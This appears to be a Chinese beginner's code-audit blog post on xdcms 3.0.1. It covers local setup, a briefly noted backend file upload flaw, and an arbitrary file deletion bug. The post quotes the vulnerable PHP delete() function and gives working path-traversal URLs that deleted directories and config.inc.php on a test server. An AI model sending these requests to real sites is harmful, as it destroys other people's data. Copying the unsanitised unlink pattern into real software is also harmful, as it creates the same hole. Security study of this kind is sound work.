- 环境搭建
- 后台任意文件上传
- 任意文件删除
- 参考
环境搭建
本地环境 Apache/2.4.46 (Unix) PHP/7.2.34
开始安装报错
eregi_replace函数没有定义
php7环境下无法使用eregi_replace函数 需要用preg_replace函数来替换
这里我的办法是修改本地环境为php5 windows上用phpstudy可以直接修改php环境 在linux或者mac电脑上需要修改apache配置文件,然后重启apache /usr/local/etc/httpd/httpd.conf
代码语言:javascript复制# LoadModule php7_module /usr/local/Cellar/php@7.2/7.2.34_1/lib/httpd/modules/libphp7.so
LoadModule php5_module /usr/local/Cellar/php@5.6/5.6.40/lib/httpd/modules/libphp5.so
保存退出
sudo apachectl restart 重启apache
chmod -R 777 xdcms 修改目录权限即可
配置数据库以及后台密码
后台任意文件上传
添加文件上传格式限制即可
任意文件删除
代码语言:javascript复制$ sudo chown www asd.php
$ ls -al
total 0
drwxr-xr-x 3 asura staff 96 4 19 21:56 .
drwxrwxrwx 12 asura staff 384 4 19 21:21 ..
-rwxrwxrwx@ 1 _www staff 0 4 19 21:56 asd.php
代码语言:javascript复制/usr/local/var/www/xdcms/system/modules/xdcms/data.php
public function delete(){
$file = trim($_GET["file"]);
# trim 一下 移除 字符串两侧的空白字符 n t x0B r
$dir = DATA_PATH . 'backup/' . $file;
if(is_dir($dir)){
//删除文件夹中的文件
if (false != ($handle = opendir ( $dir ))) {
# 目录 句柄
while ( false !== ($file = readdir ( $handle )) ) {
# 读取 目录 下的 文件
if ($file != "." && $file != ".." && strpos($file,".")){
# 文件 不是 . 也不是 .. 并且 文件也有 后缀 也有 .
echo $dir . "/" . $file;
echo system("whoami");
unlink($dir."/".$file);
// @unlink($dir."/".$file);
}
}
closedir($handle);
}
@rmdir($dir);//删除目录
}
showmsg(C('success'),'-1');
}
/index.php?m=xdcms&c=data&f=delete&file=../../../
http://127.0.0.1:8886/xdcms/index.php?m=xdcms&c=data&f=delete&file=../../qwe
qwe目录及下面的文件asd.php被删除
http://127.0.0.1:8886/xdcms/index.php?m=xdcms&c=data&f=delete&file=../../data1
删除了data1目录下的config.inc.php
参考
新手入门代码审计(1)--xdcms-3.0.1
xdcms_3.0.1 | 代码审计
https://www.seebug.org/vuldb/ssvid-88734